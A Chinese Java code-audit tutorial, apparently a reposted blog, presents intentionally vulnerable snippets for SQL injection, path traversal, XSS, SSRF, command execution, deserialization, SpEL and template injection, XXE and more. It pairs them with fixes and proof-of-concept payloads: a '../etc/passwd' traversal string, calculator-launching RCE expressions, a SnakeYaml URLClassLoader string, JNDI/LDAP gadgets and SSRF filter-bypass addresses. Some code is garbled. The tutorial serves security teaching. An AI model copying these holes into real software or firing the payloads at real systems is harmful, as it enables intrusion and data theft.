• java代码审计


    java代码审计

    请添加图片描述

    SQL注入分析

    1、JDBC

    1、1(statement)
    public String jdbcVul(String id) {
        StringBuilder result = new StringBuilder();
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
    
            Statement stmt = conn.createStatement();
            // 拼接语句产生SQL注入
            String sql = "select * from users where id = '" + id + "'";
            ResultSet rs = stmt.executeQuery(sql);
    
            while (rs.next()) {
                String res_name = rs.getString("user");
                String res_pass = rs.getString("pass");
                String info = String.format("查询结果 %s: %s", res_name, res_pass);
                result.append(info);
            }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    次代码中明显有造成漏洞条件:可控变量sql语句,未进行语句过滤

    根据源码可以构造sql注入

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3HS68TFK-1670292687675)(https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d94ade6147554c28b23b63c2a4958d1f~tplv-k3u1fbpfcp-watermark.image?)]

    1、2(PrepareStatement)
    // PrepareStatement会对SQL语句进行预编译,但有时开发者为了便利,直接采取拼接的方式构造SQL,此时进行预编译也无用。
    
    Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
    String sql = "select * from users where id = " + id;
    PreparedStatement st = conn.prepareStatement(sql);
    System.out.println("[*] 执行SQL语句:" + st);
    ResultSet rs = st.executeQuery();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WOK9Iia5-1670292687681)(https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2d524b462f8b478e87f640ffe115b9d2~tplv-k3u1fbpfcp-watermark.image?)]

    预编译直接拼接无效,正确代码:
    String sql = “select * from users where id = ?”;
    PreparedStatement st = conn.prepareStatement(sql);

    2、mybatis

    2、1(order by 注入)
    // 此漏洞出现频率较高并且很严重!
    // 为何产生:由于使用 #{} 会将对象转成字符串,形成 order by "user" desc 造成错误,因此很多研发会采用${}来解决,从而造成SQL注入
    
    @RequestMapping("/mybatis/vul/order")
    public List<User> orderBy(String field, String sort) {
        return userMapper.orderBy(field, sort);
    }
    
    // mapper.xml语句
    <select id="orderBy" resultType="com.best.hello.entity.User">
        select * from users order by ${field} ${sort}
    </select>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    此处造成漏洞条件为:直接使用${} 解析成字符串,可以直接拼接到sql上

    like 模糊查询
    // 模糊搜索时,直接使用'%#{q}%' 会报错,部分研发图方便直接改成'%${q}%'从而造成注入
    
    @Select("select * from users where user like '%${q}%'")
    List<User> search(String q);
    
    
    // 安全代码,采用concat
    @Select("select * from users where user like concat('%',#{q},'%')")
    List<User> search(String q);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    文件操作漏洞

    1、文件上传

    public String singleFileUpload(@RequestParam("file") MultipartFile file, RedirectAttributes redirectAttributes) {
        try {
            byte[] bytes = file.getBytes();
            Path dir = Paths.get(UPLOADED_FOLDER);
            Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
    
            Files.write(path, bytes);
            redirectAttributes.addFlashAttribute("message","上传文件成功:" + path + "");
        } catch (Exception e) {
             return e.toString();
        }
        return "redirect:upload_status";
    }
          
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    造成漏洞:未对文件上传后缀进行过滤,在上传图片时候还需要校验文件头部,切勿暴露文件绝对路径。

    2、目录遍历

    // 文件路径没做限制,通过../递归下载任意文件
    // PoC:/Traversal/download?filename=../../../../../../../etc/passwd
    
    @GetMapping("/download")
    public String download(String filename, HttpServletRequest request, HttpServletResponse response) {
        String filePath = System.getProperty("user.dir") + "/logs/" + filename;
        try {
            File file = new File(filePath);
            InputStream is = new BufferedInputStream(new FileInputStream(file));
            byte[] buffer = new byte[is.available()];
            fis.read(buffer);
            fis.close();
            response.reset();
            response.addHeader("Content-Disposition", "attachment;filename=" + filename);
            response.addHeader("Content-Length", "" + file.length());
            OutputStream toClient = new BufferedOutputStream(response.getOutputStream());
            response.setContentType("application/octet-stream");
            toClient.write(buffer);
            toClient.flush();
            toClient.close();
            return "下载文件成功:" + filePath;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    漏洞描述:目录遍历, 应用系统在处理下载文件时未对文件进行过滤,系统后台程序程序中如果不能正确地过滤客户端提交的…/和./之类的目录跳转符,攻击者可以通过输入…/进行目录跳转,从而下载、删除任意文件。

    XSS漏洞

    // 这里后端直接将页面输入返回页面,造成页面
    @GetMapping("/reflect")
    public static String input(String content) {
        return content;
    }
    
    // 漏洞防治
    
    // 采用Spring自带的方法会对特殊字符全转义
    import org.springframework.web.util.HtmlUtils;
    
    @GetMapping("/safe1")
    public static String safe1(String content) {
        return HtmlUtils.htmlEscape(content);
    }
    
    // 将特殊字符做转义,(bug:这里被转义了)
    
    private static String XssFilter(String content) {
        content = StringUtils.replace(content, "&", "&");
        content = StringUtils.replace(content, "<", "<");
        content = StringUtils.replace(content, ">", ">");
        content = StringUtils.replace(content, "\"", """);
        content = StringUtils.replace(content, "'", "'");
        content = StringUtils.replace(content, "/", "/");
        return content;
    }
    
    // 场景:针对富文本的处理方式,需保留部分标签
    
    import org.jsoup.Jsoup;
    import org.jsoup.safety.Whitelist;
    
    public static String safe3(String content) {
        Whitelist whitelist = (new Whitelist())
               .addTags("p", "hr", "div", "img", "span", "textarea")  // 设置允许的标签
               .addAttributes("a", "href", "title")          // 设置标签允许的属性, 避免如nmouseover属性
               .addProtocols("img", "src", "http", "https")  // img的src属性只允许http和https开头
               .addProtocols("a", "href", "http", "https");
        return Jsoup.clean(content, whitelist);
    }
    
    // 安全代码 - ESAPI
    // ESAPI(Enterprise Security API)是一个免费开源的Web应用程序API,目的帮助开发者开发出更加安全的代码,并且它本身就很方便调用。
    public static String safe4(String content){
        return ESAPI.encoder().encodeForHTML(content);
    }
          
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48

    SSRF

    1、URLConnection方式

    // url参数没做限制,可调用URLConnection发起任意请求,比如请求内网,或使用file等协议读取文件
    
    public static String URLConnection(String url) {
        try {
            URL u = new URL(url);
            URLConnection conn = u.openConnection();
            BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    
            String content;
            StringBuffer html = new StringBuffer();
    
            while ((content = reader.readLine()) != null) {
                html.append(content);
            }
            reader.close();
            return html.toString();
    
        } catch (Exception e) {
            return e.getMessage();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    2、短链方式

    SSRF修复经常碰到的问题,虽然过滤了内网地址,但通过短链接跳转的方式可以绕过方法:

    http://127.127.127.127

    http://127.0.0.0

    http://127.1

    http://0

    http://1.1.1.1&@2.2.2.2# @3.3.3.3/

    urllib: 3.3.3.3

    http://127.1.1.1:80@127.2.2.2:80/

    http://[::]:80/

    http://0000::1:80/

    
    public String URLConnectionSafe(String url) {
        if (!Security.is_http(url)){
            return "不允许非http/https协议!!!";
        }else if (Security.isIntranet(url)) {
            return "不允许访问内网!!!";
        }else{
            return Http.URLConnection(url);
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    自定义黑名单,这里过滤了常见的管道符.

    public static boolean checkOs(String content) {
        String black = "|,&,&&,;,||";
        String[] black_list = black.split(",");
        for (String s : black_list) {
            if (content.contains(s)) {
                return true;
            }
        }
        return false;
    }
         
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    远程代码执行

    1、ProcessBuilder方式

    // 功能是利用ProcessBuilder执行ls命令查看文件,但攻击者通过拼接; & |等连接符来执行自己的命令。
    
    @RequestMapping("/ProcessBuilder")
    public static String cmd(String filepath) {
        String[] cmdList = {"sh", "-c", "ls -l " + filepath};
        StringBuilder sb = new StringBuilder();
    
        ProcessBuilder pb = new ProcessBuilder(cmdList);
        pb.redirectErrorStream(true);
        ...
                 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    2、Runtime方式

    // getRuntime()常用于执行本地命令,使用频率较高。
    
    @RequestMapping("/runtime")
    public static String cmd2(String cmd) {
        StringBuilder sb = new StringBuilder();
        try {
            Process proc = Runtime.getRuntime().exec(cmd);
            InputStream fis = proc.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
         ...
                        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    3、脚本引擎代码注入

    // 通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行
    // 远程恶意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
    // ⚠️ 在Java 8之后移除了ScriptEngineManager的eval
    
    public void jsEngine(String url) throws Exception {
        ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
        Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
        String payload = String.format("load('%s')", url);
        engine.eval(payload, bindings);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    4、Groovy执行命令

    // 不安全的使用Groovy调用命令
    
    import groovy.lang.GroovyShell;
    @GetMapping("/groovy")
    public void groovy(String cmd) {
        GroovyShell shell = new GroovyShell();
        shell.evaluate(cmd);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eYOv3HLN-1670292687685)(https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/a308b2c5bfe3430babc3641c11828d9c~tplv-k3u1fbpfcp-watermark.image?)]

    5、ProcessImpl

    // ProcessImpl是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类
    
    Class clazz = Class.forName("java.lang.ProcessImpl");
    Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
    method.setAccessible(true);
    method.invoke(null, new String[]{cmd}, null, null, null, false);
                        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K7dLsgIO-1670292687687)(https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/3490b280339848b6b0f08122f630b1ad~tplv-k3u1fbpfcp-watermark.image?)]

    // 自定义黑名单,这里过滤了常见的管道符,可自行添加
    
    public static boolean checkOs(String content) {
        String black = "|,&,&&,;,||";
        String[] black_list = black.split(",");
        for (String s : black_list) {
            if (content.contains(s)) {
                return true;
            }
        }
        return false;
    }
                 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    不安全的反序列化

    1、ObjectInputStream

    反序列化漏洞,当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码(多见于第三方组件产生的漏洞)

    // readObject,读取输入流,并转换对象。ObjectInputStream.readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象。
    // payload:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64
    
    public String cc(String base64) {
        try {
            BASE64Decoder decoder = new BASE64Decoder();
    
            base64 = base64.replace(" ", "+");
            byte[] bytes = decoder.decodeBuffer(base64);
    
            ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
    
            // 反序列化流,将序列化的原始数据恢复为对象
            ObjectInputStream in = new ObjectInputStream(stream);
            in.readObject();
            in.close();
            return "反序列化漏洞";
        } catch (Exception e) {
            return e.toString();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    2、SnakeYaml

    远程服务器支持用户可以输入yaml格式的内容并且进行数据解析,没有做沙箱,黑名单之类的防控

    // poc:!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:2222']]]]
    public void yaml(String content) {
        Yaml y = new Yaml();
        y.load(content);
    }
        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    3、RMI Registry

    Java RMI Registry 反序列化漏洞,受jdk版本影响,< = jdk8u111

    
    public String rmi() {
        try {
            Registry registry = LocateRegistry.createRegistry(9999);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return "开启RMI监听,端口:9999";
    }
             
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    4、XMLDecoder

    XMLDecoder在JDK 1.4~JDK 11中都存在反序列化漏洞安全风险。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。在项目中应禁止使用XMLDecoder方式解析XML内容

    
    String path = "src/main/resources/payload/calc-1.xml";
    File file = new File(path);
    FileInputStream fis = null;
    try {
        fis = new FileInputStream(file);
    } catch (Exception e) {
        e.printStackTrace();
    }
    
    BufferedInputStream bis = new BufferedInputStream(fis);
    XMLDecoder xmlDecoder = new XMLDecoder(bis);
    xmlDecoder.readObject();
    xmlDecoder.close();
                        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    5、安全代码 - 黑白名单

    
    public String safe(String base64) {
        try {
            BASE64Decoder decoder = new BASE64Decoder();
            base64 = base64.replace(" ", "+");
            byte[] bytes = decoder.decodeBuffer(base64);
    
            ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
            ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);
    
            // 只允许反序列化Student class
            ois.accept(Student.class);
            ois.readObject();
    
            return "ValidatingObjectInputStream";
         } catch (Exception e) {
            return e.toString();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    失效的身份认证

    表达式注入

    SpEL(Spring Expression Language)表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。

    // PoC: T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)
    
    @GetMapping("/vul")
    public String spelVul(String ex) {
        ExpressionParser parser = new SpelExpressionParser();
        String result = parser.parseExpression(ex).getValue().toString();
        System.out.println(result);
        return result;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XB4GwbSY-1670292687691)(https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8459cc3eb5ff4cd6ad37e8748e8d0ae7~tplv-k3u1fbpfcp-watermark.image?)]

    XML外部实体注入

    XXE总结

    1、XMLReader

    @RequestMapping(value = "/XMLReader")
    public String XMLReader(@RequestBody String content) {
        try {
            XMLReader xmlReader = XMLReaderFactory.createXMLReader();
            // 修复:禁用外部实体
            // xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            xmlReader.parse(new InputSource(new StringReader(content)));
            return "XMLReader XXE";
        } catch (Exception e) {
        return e.toString();
        }
    }
           
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    2、SAXReader

    SAXReader sax = new SAXReader();
    // 修复:禁用外部实体
    // sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    sax.read(new InputSource(new StringReader(content)));
    
    • 1
    • 2
    • 3
    • 4

    3、SAXBuilder

    @RequestMapping(value = "/SAXBuilder")
    public String SAXBuilder(@RequestBody String content) {
        try {
            SAXBuilder saxbuilder = new SAXBuilder();
            // 修复: saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            saxbuilder.build(new InputSource(new StringReader(content)));
            return "SAXBuilder XXE";
        } catch (Exception e) {
            return e.toString();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    4、DocumentBuilder

    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    // 修复: dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    DocumentBuilder builder = factory.newDocumentBuilder();
    
    • 1
    • 2
    • 3

    5、Unmarshaller

    
    /**
      *  PoC
      * Content-Type: application/xml
      * ]>&out;
      */
    public String Unmarshaller(@RequestBody String content) {
        try {
            JAXBContext context = JAXBContext.newInstance(Student.class);
            Unmarshaller unmarshaller = context.createUnmarshaller();
    
            XMLInputFactory xif = XMLInputFactory.newFactory();
            // 修复: 禁用外部实体
            // xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
            // xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
    
            XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));
    
            Object o = unmarshaller.unmarshal(xsr);
            return o.toString();
    
    } catch (Exception e) {
        e.printStackTrace();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    越权访问

    失效的访问控制(Broken Access Control),应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定,一旦权限验证不充分,就易致越权漏洞。

    // 未做权限控制,通过遍历name参数可查询任意用户信息
    @GetMapping("/vul/info")
    public List<User> vul(String name) {
        return userMapper.queryByUser(name);
    }
    
    // 只允许查询当前用户信息
    public String safe(String name, HttpSession session) {
        if (session.getAttribute("LoginUser").equals(name)) {
            return userMapper.queryByUser(name);
        } else {
            return String.format("当前登录:%s,只能查询自己的信息", session.getAttribute("LoginUser"));
        }
    }
       
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4mEWur2j-1670292687696)(https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/21f00051998848bfb9c4e31d121ce74d~tplv-k3u1fbpfcp-watermark.image?)]

    接口未授权访问

    接口未授权访问(Unauthorized Access),在不进行请求授权的情况下,能够直接对相应的业务逻辑功能进行访问、操作等。通常是由于认证页面存在缺陷或者无认证、安全配置不当等导致的。

    // 对部分接口未做鉴权拦截,导致可未授权访问
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new LoginHandlerInterceptor())
        .addPathPatterns("/**")
        .excludePathPatterns("/Unauth/**", "/css/**", "/js/**", "/img/**");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    SSTI

    SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。

     /**
       * 将请求的url作为视图名称,调用模板引擎去解析
       * 在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞
       * payload: __${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x
       */
    
     @GetMapping("/doc/{document}")
     public void getDocument(@PathVariable String document) {
         System.out.println(document);
     }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    漏洞组件

    1、XStream反序列化

    public String vul(@RequestBody String content) {
        XStream xs = new XStream();
        xs.fromXML(content);
        return "XStream Vul";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    2、FastJson反序列化

    // 使用了低版本,存在漏洞
    // poc: {"@type":"java.net.Inet4Address","val":"8d5tv8.dnslog.cn"}
    
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    3、jackson反序列化

    Jackson是一套开源的java序列化与反序列化工具框架,可将java对象序列化为xml和json格式的字符串并提供对应的反序列化过程。由于其解析效率较高,Jackson目前是Spring MVC中内置使用的解析方式。

    public void vul() {
        try {
            String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";
    
            ObjectMapper mapper = new ObjectMapper();
            mapper.enableDefaultTyping();
            Object o = mapper.readValue(payload, Object.class);
            mapper.writeValueAsString(o);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
         
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    4、Log4j2反序列化

    Apache Log4j2是一款优秀的Java日志框架。此次漏洞是由 Log4j2 提供的lookup功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在处理数据时,并未对输入(如${jndi)进行严格的判断,从而造成JNDI注入

    // log4j-core < 2.15.0-rc1
    
    public String vul(String content) {
        logger.error(content);
        return "Log4j2 RCE";
    }
                        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    5、shiro反序列化

    其他漏洞

    1、开放重定向

    开放重定向漏洞,是指后台服务器在告知浏览器跳转时,未对客户端传入的重定向地址进行合法性校验,导致用户浏览器跳转到钓鱼页面的一种漏洞
    出现场景:用户登录、统一身份认证等需要跳转的地方

    
    // 满足参数url可控,且未做限制
    
    public String vul(String url) {
        return "redirect:" + url;
    }
    
    // ModelAndView
    
    public ModelAndView vul2(String url) {
        return new ModelAndView("redirect://" + url);
    }
    
    // response.sendRedirect
    
    public void vul3(String url, HttpServletResponse response) throws IOException {
        response.sendRedirect(url);
    }
    
    // 安全代码:白名单模式
    public static boolean isWhite(String url) {
        List<String> url_list = new ArrayList<String>();
        url_list.add("baidu.com");
        url_list.add("www.baidu.com");
        url_list.add("oa.baidu.com");
    
        URI uri = null;
        try {
            uri = new URI(url);
        } catch (URISyntaxException e) {
            System.out.print(e);
        }
        String host = uri.getHost().toLowerCase();
        System.out.println(host);
    
        return url_list.contains(host);
     }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    2、Actuator未授权访问

    Actuator, 是Spring Boot提供的服务监控和管理中间件,默认配置会出现接口未授权访问,部分接口会泄露网站流量信息和内存信息等,使用Jolokia库特性甚至可以远程执行任意代码,获取服务器权限。

    # 不安全的配置:Actuator设置全部暴露
    management.endpoints.web.exposure.include=*
    
    方案一、禁用接口 management.endpoints.enabled-by-default=false
    方案二、使用spring security加个认证
    
    • 1
    • 2
    • 3
    • 4
    • 5

    3、X-Forwarded-For地址伪造

    X-Forwarded-For地址伪造,很多Web应用需要获取用户的IP,通过IP伪造可以绕过一些安全限制。

    public static String vul(HttpServletRequest request) {
        String ip2 = request.getHeader("X-Forwarded-For");
        if(!Objects.equals(ip2, "127.0.0.1")) {
            return  "禁止访问,只允许本地IP!";
        } else {
            return "success,你的IP:" + ip2;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    4、Swagger未授权

    5、CORS

    CORS(Cross-origin resource sharing),即跨域资源共享,用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。 CORS漏洞则是利用CORS技术窃取用户敏感数据,CORS漏洞的成因是服务端配置的规则不当所导致的,服务器端没有配置Access-Control-Allow-Origin等字段

    public String corsVul(HttpServletRequest request, HttpServletResponse response) {
            String origin = request.getHeader("origin");
            response.setHeader("Access-Control-Allow-Origin", origin);
            response.setHeader("Access-Control-Allow-Credentials", "true");
            response.setHeader("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE,OPTIONS");
            return "cors vul";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    6、JNDI注入

    Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI注入就是当上文代码中jndiName这个变量可控时,引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。

    // lookup是通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。
    Context ctx = new InitialContext();
    ctx.lookup(url);
                      
    
    • 1
    • 2
    • 3
    • 4

    7、DoS漏洞

    DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务.

    // Pattern.matches造成的ReDoS
    // PoC: vul?contnet=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab
    
    public String vul(String content) {
    
        boolean match = Pattern.matches("(a|aa)+", content);
        return String.format("正则匹配:%s,正则表达式拒绝服务攻击", match);
    }
        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    8、验证码复用

    验证码反复利用,可以直接进行暴力破解。(这是一类常见的安全问题)
    一般来说,验证码是与Session绑定的,Session生成时,也伴随着验证码的生成和绑定,在访问页面时,接口的请求和验证码的生成通常是异步进行的,这使得两个功能变得相对独立。也就意味着我们如果仅请求接口,而不触发验证码的生成,那么验证码就不会变化。 并且在考虑安全时,开发人员的关注点往往在 验证码校验 是否通过,通过则进入业务流程,不通过则重新填写,而忽视了这个用户是否按照既定的业务流程在走(接口访问与验证码生成是否同时进行),验证码是否被多次使用了。

     // 未清除session中的验证码,导致可复用
    
     if (!CaptchaUtil.ver(captcha, request)) {
         model.addAttribute("msg", "验证码不正确");
         return "login";
     }
               
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    引用:Java Security

    标题:Java 漏洞平台

    网址:http://localhost:8881/index/sqli/jdbc

  • 相关阅读:
    input框输入中文时,输入未完成触发事件。Vue中文输入法不触发input事件?
    匿名类为什么不可以使用非final变量
    CSS 伪类选择器 last-child 和 last-of-type 的区别
    Vue的computed和watch的区别是什么?
    2011--利用数学知识解题
    代码随想录动态规划——背包问题总结篇
    NewStarCTF2023week2-游戏高手
    如何挑选工业镜头?
    drools项目中dmn文件调用自定义的java类
    STM8的C语言编程(8)--+UART应用
  • 原文地址:https://blog.csdn.net/qq_44256371/article/details/128198074